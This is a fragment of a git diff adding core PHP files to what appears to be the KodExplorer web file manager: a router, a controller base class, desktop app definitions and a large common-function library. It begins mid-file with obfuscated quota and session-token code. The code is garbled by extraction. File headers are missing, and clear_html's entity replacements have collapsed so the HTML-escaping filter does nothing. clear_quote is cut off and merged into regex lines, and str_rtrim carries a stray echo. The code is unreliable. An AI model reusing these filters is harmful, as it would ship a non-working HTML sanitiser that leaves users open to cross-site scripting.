($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"] == KOD_GROUP_SHARE || $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"] == KOD_GROUP_PATH) { systemGroup::spaceCheck($GLOBALS[_kstr2('kodPathI')."\144"]); } else { if (ST == "\163\150\141\162\145") { $e粎ۑ = $GLOBALS["\x69\x6e"][_kstr2('user')]; } else { $e粎ۑ = $_SESSION["\x6b\x6f\x64\x55\x73\x65\x72"]["\165\163\145\162\111\104"]; } systemMember::spaceCheck($e粎ۑ); } } function spaceSizeGet($F֝, $aڙ) { $DÕ = 0; if (is_file($F֝)) { $DÕ = get_filesize($F֝); } else { if (is_dir($F֝)) { $a« = _path_info_more($F֝); $DÕ = $a«[_kstr2('size')]; } else { return "\x6d\x69\x73\x73"; } } return $aڙ ? $DÕ : -$DÕ; } function spaceInData($F֝) { if (substr($F֝, 0, strlen(HOME_PATH)) == HOME_PATH || substr($F֝, 0, strlen(USER_RECYCLE)) == USER_RECYCLE) { return true; } return false; } function spaceSizeChange($f, $aڙ = true, $B = false, $c߄ = false) { if (!system_space()) { return; } if ($B === false) { $B = $GLOBALS["\153\157\144\120\141\164\150\124\171\160\145"]; $c߄ = $GLOBALS[strrev('dIhtaPdok')]; } $e = spaceSizeGet($f, $aڙ); if ($e == strrev('ssim')) { return false; } if ($B == KOD_GROUP_SHARE || $B == KOD_GROUP_PATH) { systemGroup::spaceChange($c߄, $e); } else { if (ST == "\163\150\141\162\145") { $e粎ۑ = $GLOBALS["\151\156"]["\165\163\145\162"]; } else { $e粎ۑ = $_SESSION["\x6b\x6f\x64\x55\x73\x65\x72"][strrev('DIresu')]; } systemMember::spaceChange($e粎ۑ, $e); } } function spaceSizeChangeRemove($f) { spaceSizeChange($f, false); } function spaceSizeChangeMove($Eɂۍ, $C녰) { if (isset($GLOBALS[strrev('PerofeBdok')."\x61\x74\x68\x49"."\x64"]) && isset($GLOBALS[base64_decode('a29kUGF0aElk')])) { if ($GLOBALS["\153\157\144\102\145\146\157\162"."\x65\x50"."\x61\x74\x68"."\x49\x64"] == $GLOBALS["\153\157\144\120\141\164\150\111\144"] && $GLOBALS["\142\145\146\157\162\145\120\141\164\150"."\124\171\160\145"] == $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"]) { return; } spaceSizeChange($C녰, false); spaceSizeChange($C녰, true, $GLOBALS["\142\145\146\157\162\145\120\141\164\150\124"."\171\160\145"], $GLOBALS["\153\157\144\102\145\146\157\162\145\120\141\164\150\111\144"]); } else { spaceSizeChange($C녰); } } function spaceSizeReset() { if (!system_space()) { return; } $B = isset($GLOBALS[strrev('epyThtaPdok')]) ? $GLOBALS[base64_decode('a29kUGF0aFR5cA==').base64_decode('ZQ==')] : ''; $c߄ = isset($GLOBALS[_kstr2('kodPathId')]) ? $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"] : ''; if ($B == KOD_GROUP_SHARE || $B == KOD_GROUP_PATH) { systemGroup::spaceChange($c߄); } else { $e粎ۑ = $_SESSION["\x6b\x6f\x64\x55\x73\x65\x72"][base64_decode('dXNlcklE')]; systemMember::spaceChange($e粎ۑ); } } function init_session() { if (!function_exists(_kstr2('session_start'))) { show_tips(strrev('hp塊卜')."\160\347\273\204\344\273\266\347"."\xbc\xba\xe5"."\xa4\xb1\x21\x20\x28\x50\x48\x50\x20\x6d\x69\x73"._kstr2('s lib)')."\237"."\245\160\150\160\56\151\156\151"."\357\274\214\351\234\200"."\xe8\xa6\x81\xe5\xbc\x80\xe5\x90\xaf\xe6"."\250\241\345\235\227\72\40\74\142\162".strrev('<>/')."\160\162\145\76\163\145\163\163".strrev('lruc,nosj,noi')."\x2c\x65"._kstr2('xif,mbstring,')."\x6c\x64\x61\x70\x2c\x67\x64\x2c\x70".strrev('qsym-odp,od').strrev('l')._kstr2(',xml') . base64_decode('c2Vzc2lvbi5zYXY=')._kstr2('e_path=') . $B . "\x3c\x62\x72\x2f\x3e" . "\163\145\163\163\151\157\156\56\163\141\166\145\137"."\x68\x61\x6e\x64\x6c\x65\x72\x3d" . @ini_get("\163\145\163\163\151\157\156\56"."\163\141\166\145\137\150\141\156\144"."\x6c\x65\x72") . "\74\142\162\57\76"); } } function access_token_check($C) { $DӐ啞 = $GLOBALS[base64_decode('Y29uZmln')]["\163\145\164\164\151\156\147\123\171\163\164"."\x65\x6d"][base64_decode('c3lzdGVtUGFzc3c=')."\x6f\x72\x64"]; $DӐ啞 = substr(md5(base64_decode('a29kRXhwbG9yZXJf') . $DӐ啞), 0, 15); $C̰ = Mcrypt::decode($C, $DӐ啞); if (!$C̰) { show_tips("\x61\x63\x63\x65\x73\x73\x54\x6f"."\x6b\x65\x6e\x20\x65".strrev('!rorr')); } session_id($C̰); session_name(SESSION_ID); } function access_token_get() { $C̰ = session_id(); $DӐ啞 = $GLOBALS["\x63\x6f\x6e\x66\x69\x67"][base64_decode('c2V0dGluZ1N5')."\x73\x74\x65\x6d"]["\x73\x79\x73\x74\x65\x6d\x50\x61\x73\x73\x77\x6f\x72".strrev('d')]; $DӐ啞 = substr(md5("\x6b\x6f\x64\x45\x78\x70\x6c\x6f\x72\x65\x72\x5f" . $DӐ啞), 0, 15); $D揗 = Mcrypt::encode($C̰, $DӐ啞, 3600 * 24); return $D揗; } function init_config() { init_setting(); init_session(); init_space_size_hook(); }
diff --git a/app/core/Application.class.php b/app/core/Application.class.php
new file mode 100644
index 0000000..c27e125
--- /dev/null
+++ b/app/core/Application.class.php
@@ -0,0 +1,106 @@
+ defaultController = $defaultController;
+ }
+
+ /**
+ * 设置默认的方法名
+ * @param string $defaultAction
+ */
+ public function setDefaultAction($defaultAction){
+ $this -> defaultAction = $defaultAction;
+ }
+
+ /**
+ * 设置控制器子目录
+ * @param string $dir
+ */
+ public function setSubDir($dir){
+ $this -> subDir = $dir;
+ }
+
+ /**
+ * 运行controller 的方法
+ * @param $class , controller类名。
+ * @param $function , 方法名
+ */
+ public function appRun($className,$function){
+ $subDir = $this -> subDir ? $this -> subDir . '/' : '';
+ $classFile = CONTROLLER_DIR . $subDir.$className.'.class.php';
+ Hook::filter('Application.appRun',$classFile);
+ if (!file_exists_case($classFile)) {
+ show_tips($className.' controller '.LNG("not_exists"),APP_HOST,5);
+ }
+
+ include_once($classFile);
+ if (!class_exists($className)) {
+ show_tips($className.' class '.LNG("not_exists"),APP_HOST,5);
+ }
+ $instance = new $className();
+ if (!method_exists($instance, $function)) {
+ show_tips($function.' method '.LNG("not_exists"),APP_HOST,5);
+ }
+ return $instance -> $function();
+ }
+
+
+ /**
+ * 运行自动加载的控制器
+ */
+ private function autorun(){
+ global $config;
+ if (count($config['autorun']) > 0) {
+ foreach ($config['autorun'] as $key => $var) {
+ $this->appRun($var['controller'],$var['function']);
+ }
+ }
+ }
+
+ /**
+ * 调用实际类和方式
+ */
+ public function run(){
+ $URI = $GLOBALS['in']['URLremote'];
+ if (!isset($URI[0]) || $URI[0] == '') $URI[0] = $this->defaultController;
+ if (!isset($URI[1]) || $URI[1] == '') $URI[1] = $this->defaultAction;
+
+ //需要校验权限的方法,统一大小写敏感;处理需要权限的方法
+ $roleSetting = $GLOBALS['config']['roleSetting'];
+ $st = $URI[0];
+ $act = $URI[1];
+ if (array_key_exists($st,$roleSetting) ){
+ if( !in_array($act,$roleSetting[$st]) &&
+ in_array_not_case($act,$roleSetting[$st])
+ ){
+ show_tips($act.' action not exists!');
+ }
+ }
+
+ define('ST',$st);
+ define('ACT',$act);
+ //自动加载运行类。
+ $this->autorun();
+ $this->appRun(ST,ACT);
+ }
+}
diff --git a/app/core/Controller.class.php b/app/core/Controller.class.php
new file mode 100644
index 0000000..eb770ba
--- /dev/null
+++ b/app/core/Controller.class.php
@@ -0,0 +1,74 @@
+config = &$config;
+ $this ->in = &$in;
+ $this ->values['config'] = &$config;
+ $this ->values['in'] = &$in;
+ $this ->tpl = TEMPLATE.get_class($this).'/';
+ }
+
+ /**
+ * 加载模型
+ * @param string $class
+ */
+ public function loadModel($class){
+ $args = func_get_args();
+ $this -> $class = call_user_func_array('init_model', $args);
+ return $this -> $class;
+ }
+
+ /**
+ * 加载类库文件
+ * @param string $class
+ */
+ public function loadClass($class){
+ if (1 === func_num_args()) {
+ $this -> $class = new $class;
+ } else {
+ $reflectionObj = new ReflectionClass($class);
+ $args = func_get_args();
+ array_shift($args);
+ $this -> $class = $reflectionObj -> newInstanceArgs($args);
+ }
+ return $this -> $class;
+ }
+
+ /**
+ * 显示模板
+ *
+ * TODO smarty
+ * @param
+ */
+ protected function assign($key,$value){
+ $this->values[$key] = $value;
+ }
+ /**
+ * 显示模板
+ * @param
+ */
+ protected function display($tplFile){
+ ob_end_clean();
+ extract($this->values);
+ require($this->tpl.$tplFile);
+ }
+}
diff --git a/app/core/Model.class.php b/app/core/Model.class.php
new file mode 100644
index 0000000..dc1e032
--- /dev/null
+++ b/app/core/Model.class.php
@@ -0,0 +1,38 @@
+ in = &$in;
+ $this -> config = &$config;
+ }
+
+ /**
+ * TODO db
+ */
+ function db(){
+ if ($this ->db != NULL) {
+ return $this ->db;
+ }else{
+ }
+ }
+}
\ No newline at end of file
diff --git a/app/desktop_app.php b/app/desktop_app.php
new file mode 100644
index 0000000..fa3dd8a
--- /dev/null
+++ b/app/desktop_app.php
@@ -0,0 +1,59 @@
+ array(
+ "type" => "app",
+ "content" => "core.explorer('','".LNG('my_computer')."');",
+ "icon" => STATIC_PATH."images/file_icon/icon_others/computer.png",
+ "name" => LNG('my_computer'),
+ "menuType" => "systemBox menu-default",
+ "ext" => 'oexe',
+ "path" => "",
+ "resize" => 1
+ ),
+ 'recycle' => array(
+ "type" => "app",
+ "content" => "core.explorer('".KOD_USER_RECYCLE."','".LNG('recycle')."');",
+ "icon" => STATIC_PATH."images/file_icon/icon_others/recycle.png",
+ "name" => LNG('recycle'),
+ "menuType" => "systemBox menu-recycle-button",
+ "ext" => 'oexe',
+ "path" => "",
+ "resize" => 1
+ ),
+ 'PluginCenter' => array(
+ "type" => "app",
+ "content" => "core.openWindowBig('./index.php?pluginApp/index','".LNG('PluginCenter')."');",
+ "icon" => STATIC_PATH."images/file_icon/icon_others/plugins.png",
+ "name" => LNG('PluginCenter'),
+ "menuType" => "systemBox menu-default",
+ "ext" => 'oexe',
+ "path" => "",
+ "resize" => 1
+ ),
+ 'setting' => array(
+ "type" => "app",
+ "content" => "core.setting();",
+ "icon" => STATIC_PATH."images/file_icon/icon_others/setting.png",
+ "name" => LNG('setting'),
+ "menuType" => "systemBox menu-default",
+ "ext" => 'oexe',
+ "path" => "/",
+ "resize" => 1
+ ),
+ 'appStore' => array(
+ "type" => "app",
+ "content" => "core.appStore();",
+ "icon" => STATIC_PATH."images/file_icon/icon_others/appStore.png",
+ "name" => LNG('app_store'),
+ "menuType" => "systemBox menu-default",
+ "ext" => 'oexe',
+ "path" => "",
+ "resize" => 1
+ )
+);
+
+//管理员插件中心
+if(!$GLOBALS['isRoot']){
+ unset($desktopApps['PluginCenter']);
+}
+return $desktopApps;
diff --git a/app/function/common.function.php b/app/function/common.function.php
new file mode 100644
index 0000000..d27824d
--- /dev/null
+++ b/app/function/common.function.php
@@ -0,0 +1,1014 @@
+ newInstanceArgs($args);
+}
+/**
+ * 生产controller对象
+ */
+function init_controller($controllerName){
+ if (!class_exists($controllerName)) {
+ $modelFile = CONTROLLER_DIR.$controllerName.'.class.php';
+ if(!is_file($modelFile)){
+ return false;
+ }
+ include_once($modelFile);
+ }
+ $reflectionObj = new ReflectionClass($controllerName);
+ $args = func_get_args();
+ array_shift($args);
+ return $reflectionObj -> newInstanceArgs($args);
+}
+
+/**
+ * 文本字符串转换
+ */
+function mystr($str){
+ $from = array("\r\n", " ");
+ $to = array("
", " ");
+ return str_replace($from, $to, $str);
+}
+
+// 清除多余空格和回车字符
+function strip($str){
+ return preg_replace('!\s+!', '', $str);
+}
+
+// 删除字符串两端的字符串
+function str_trim($str,$remove){
+ return str_rtrim(str_ltrim($str,$remove),$remove);
+}
+function str_ltrim($str,$remove){
+ if(!$str || !$remove) return $str;
+ while(substr($str,0,strlen($remove)) == $remove){
+ $str = substr($str,strlen($remove));
+ }
+ return $str;
+}
+function str_rtrim($str,$remove){
+ if(!$str || !$remove) return $str;
+ while(substr($str,-strlen($remove)) == $remove){
+ $str = substr($str,0,-strlen($remove));
+ echo $str;
+ }
+ return $str;
+}
+
+/**
+ * 获取精确时间
+ */
+function mtime(){
+ $t= explode(' ',microtime());
+ $time = $t[0]+$t[1];
+ return $time;
+}
+/**
+ * 过滤HTML
+ *
+ * eg:
+ * 允许url中字符;
+ */
+function clear_html($html, $br = true){
+ $html = $html === null ? "" : $html;
+ $replace = array('<','>','"',"'");
+ $replaceTo = array('<','>','"',''');
+ return str_replace($replace,$replaceTo,$html);
+}
+function clear_quote($html){
+ $html = $html === null ? "" : $html;
+ $replace = array('"',"'",']*?)>/isU",
+ "/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU",
+ "/javascript\s*:/isU",
+ );
+ $replace = array("<\\1\\2\\3>","\\1\\2","");
+ return preg_replace($find,$replace,$html);
+}
+
+
+function in_array_not_case($needle, $haystack) {
+ return in_array(strtolower($needle),array_map('strtolower',$haystack));
+}
+
+/**
+ * 将obj深度转化成array
+ *
+ * @param $obj 要转换的数据 可能是数组 也可能是个对象 还可能是一般数据类型
+ * @return array || 一般数据类型
+ */
+function obj2array($obj){
+ if (is_array($obj)) {
+ foreach($obj as &$value) {
+ $value = obj2array($value);
+ }
+ return $obj;
+ } elseif (is_object($obj)) {
+ $obj = get_object_vars($obj);
+ return obj2array($obj);
+ } else {
+ return $obj;
+ }
+}
+
+function ignore_timeout(){
+ @ignore_user_abort(true);
+ @ini_set("max_execution_time",48 * 60 * 60);
+ @set_time_limit(48 * 60 * 60);//set_time_limit(0) 2day
+ @ini_set('memory_limit', '4000M');//4G;
+}
+
+
+function check_code($code){
+ ob_clean();
+ header("Content-type: image/png");
+ $width = 70;$height=27;
+ $fontsize = 18;$len = strlen($code);
+ $im = @imagecreatetruecolor($width, $height) or die("create image error!");
+ $background_color = imagecolorallocate($im,255, 255, 255);
+ imagefill($im, 0, 0, $background_color);
+ for ($i = 0; $i < 2000; $i++) {//获取随机淡色
+ $line_color = imagecolorallocate($im, mt_rand(180,255),mt_rand(160, 255),mt_rand(100, 255));
+ imageline($im,mt_rand(0,$width),mt_rand(0,$height), //画直线
+ mt_rand(0,$width), mt_rand(0,$height),$line_color);
+ imagearc($im,mt_rand(0,$width),mt_rand(0,$height), //画弧线
+ mt_rand(0,$width), mt_rand(0,$height), $height, $width,$line_color);
+ }
+ $border_color = imagecolorallocate($im, 160, 160, 160);
+ imagerectangle($im, 0, 0, $width-1, $height-1, $border_color);//画矩形,边框颜色200,200,200
+ for ($i = 0; $i < $len; $i++) {//写入随机字串
+ $text_color = imagecolorallocate($im,mt_rand(30, 140),mt_rand(30,140),mt_rand(30,140));
+ imagechar($im,10,$i*$fontsize+6,rand(1,$height/3),$code[$i],$text_color);
+ }
+ imagejpeg($im);//显示图
+ imagedestroy($im);//销毁图片
+}
+
+
+/**
+ * 计算N次方根
+ * @param $num
+ * @param $root
+ */
+function croot($num, $root = 3){
+ $root = intval($root);
+ if (!$root) {
+ return $num;
+ }
+ return exp(log($num) / $root);
+}
+
+function add_magic_quotes($array){
+ foreach ((array) $array as $k => $v) {
+ if (is_array($v)) {
+ $array[$k] = add_magic_quotes($v);
+ } else {
+ $array[$k] = addslashes($v);
+ }
+ }
+ return $array;
+}
+// 字符串加转义
+function add_slashes($string){
+ if (!$GLOBALS['magic_quotes_gpc']) {
+ if (is_array($string)) {
+ foreach($string as $key => $val) {
+ $string[$key] = add_slashes($val);
+ }
+ } else {
+ $string = addslashes($string);
+ }
+ }
+ return $string;
+}
+
+
+function setcookie_header($name,$value='',$maxage=0,$path='',$domain='',$secure=false,$HTTPOnly=false){
+ if ( !empty($domain) ){
+ if ( strtolower( substr($domain, 0, 4) ) == 'www.' ) $domain = substr($domain, 4);
+ if ( substr($domain, 0, 1) != '.' ) $domain = '.'.$domain;
+ if ( strpos($domain, ':') ) $domain = substr($domain, 0, strpos($domain, ':'));
+ }
+ header('Set-Cookie: '.rawurlencode($name).'='.rawurlencode($value)
+ .(empty($domain) ? '' : '; Domain='.$domain)
+ .(empty($maxage) ? '' : '; Max-Age='.$maxage)
+ .(empty($path) ? '' : '; Path='.$path)
+ .(!$secure ? '' : '; Secure')
+ .(!$HTTPOnly ? '' : '; HttpOnly').'; ', false);
+ return true;
+}
+
+/**
+ * hex to binary
+ */
+if (!function_exists('hex2bin')) {
+ function hex2bin($hexdata) {
+ return pack('H*', $hexdata);
+ }
+}
+
+if (!function_exists('gzdecode')) {
+ function gzdecode($data){
+ return gzinflate(substr($data,10,-8));
+ }
+}
+
+function xml2json($decodeXml){
+ $data = simplexml_load_string($decodeXml,'SimpleXMLElement', LIBXML_NOCDATA);
+ return json_decode(json_encode($data),true);
+}
+
+/**
+ * 二维数组按照指定的键值进行排序,
+ *
+ * @param $keys 根据键值
+ * @param $type 升序降序
+ * @return array
+ * $array = array(
+ * array('name'=>'手机','brand'=>'诺基亚','price'=>1050),
+ * array('name'=>'手表','brand'=>'卡西欧','price'=>960)
+ * );
+ * $out = array_sort_by($array,'price');
+ */
+function array_sort_by($records, $field, $reverse=false){
+ $reverse = $reverse?SORT_DESC:SORT_ASC;
+ array_multisort(array_column($records,$field),$reverse,$records);
+ return $records;
+}
+
+if (!function_exists('array_column')) {
+ function array_column($array, $column_key, $index_key = null) {
+ $column_key_isNumber = (is_numeric($column_key)) ? true : false;
+ $index_key_isNumber = (is_numeric($index_key)) ? true : false;
+ $index_key_isNull = (is_null($index_key)) ? true : false;
+
+ $result = array();
+ foreach((array)$array as $key=>$val){
+ if($column_key_isNumber){
+ $tmp = array_slice($val, $column_key, 1);
+ $tmp = (is_array($tmp) && !empty($tmp)) ? current($tmp) : null;
+ } else {
+ $tmp = isset($val[$column_key]) ? $val[$column_key] : null;
+ }
+ if(!$index_key_isNull){
+ if($index_key_isNumber){
+ $key = array_slice($val, $index_key, 1);
+ $key = (is_array($key) && !empty($key)) ? current($key) : null;
+ $key = is_null($key) ? 0 : $key;
+ }else{
+ $key = isset($val[$index_key]) ? $val[$index_key] : 0;
+ }
+ }
+ $result[$key] = $tmp;
+ }
+ return $result;
+ }
+}
+
+/**
+ * 遍历数组,对每个元素调用 $callback,假如返回值不为假值,则直接返回该返回值;
+ * 假如每次 $callback 都返回假值,最终返回 false
+ *
+ * @param $array
+ * @param $callback
+ * @return mixed
+ */
+function array_try($array, $callback){
+ if (!$array || !$callback) {
+ return false;
+ }
+ $args = func_get_args();
+ array_shift($args);
+ array_shift($args);
+ if (!$args) {
+ $args = array();
+ }
+ foreach($array as $v) {
+ $params = $args;
+ array_unshift($params, $v);
+ $x = call_user_func_array($callback, $params);
+ if ($x) {
+ return $x;
+ }
+ }
+ return false;
+}
+// 取出数组中第n项
+function array_get_index($arr,$index){
+ foreach($arr as $k=>$v){
+ $index--;
+ if($index<0) return array($k,$v);
+ }
+}
+
+function array_field_values($arr,$field){
+ $result = array();
+ foreach ($arr as $val) {
+ if(is_array($val) && isset($val[$field])){
+ $result[] = $val[$field];
+ }
+ }
+ return $result;
+}
+
+// 删除数组某个值
+function array_remove_value($array, $value){
+ $isNumericArray = true;
+ foreach ($array as $key => $item) {
+ if ($item === $value) {
+ if (!is_int($key)) {
+ $isNumericArray = false;
+ }
+ unset($array[$key]);
+ }
+ }
+ if ($isNumericArray) {
+ $array = array_values($array);
+ }
+ return $array;
+}
+
+// 获取数组key最大的值
+function array_key_max($array){
+ if(count($array)==0){
+ return 1;
+ }
+ $idArr = array_keys($array);
+ rsort($idArr,SORT_NUMERIC);//id从高到底
+ return intval($idArr[0]);
+}
+
+//set_error_handler('errorHandler',E_ERROR|E_PARSE|E_CORE_ERROR|E_COMPILE_ERROR|E_USER_ERROR);
+register_shutdown_function('fatalErrorHandler');
+function errorHandler($err_type,$errstr,$errfile,$errline){
+ if (($err_type & E_WARNING) === 0 && ($err_type & E_NOTICE) === 0) {
+ return false;
+ }
+ $arr = array(
+ $err_type,
+ $errstr,
+ //" in [".$errfile.']',
+ " in [".get_path_this(get_path_father($errfile)).'/'.get_path_this($errfile).']',
+ 'line:'.$errline,
+ );
+ $str = implode(" ",$arr)."
";
+ show_tips($str);
+}
+
+//捕获fatalError
+function fatalErrorHandler(){
+ $e = error_get_last();
+ switch($e['type']){
+ case E_ERROR:
+ case E_PARSE:
+ case E_CORE_ERROR:
+ case E_COMPILE_ERROR:
+ case E_USER_ERROR:
+ errorHandler($e['type'],$e['message'],$e['file'],$e['line']);
+ break;
+ case E_NOTICE:break;
+ default:break;
+ }
+}
+
+function show_tips($message,$url= '', $time = 3,$title = '',$exit = true){
+ ob_get_clean();$time=500;
+ header('Content-Type: text/html; charset=utf-8');
+ $goto = "content='$time;url=$url'";
+ $info = "{$time}s 后自动跳转, 立即跳转";
+ if ($url == "") {
+ $goto = "";
+ $info = "";
+ } //是否自动跳转
+
+ if($title == ''){
+ $title = "出错了!";
+ }
+ //移动端;报错输出
+ if(isset($_REQUEST['HTTP_X_PLATFORM'])){
+ show_json($message,false);
+ }
+
+ if(is_array($message) || is_object($message)){
+ $message = json_encode_force($message);
+ $message = htmlspecialchars($message);
+ $message = "".$message.'
';
+ }else{
+ $message = filter_html(nl2br($message));
+ }
+ if(file_exists(TEMPLATE.'common/showTips.html')){
+ include(TEMPLATE.'common/showTips.html');
+ if($exit){exit;}
+ }
+ echo<<
+
+
+
+
+
$title
+
$message
+
$info
+
+
+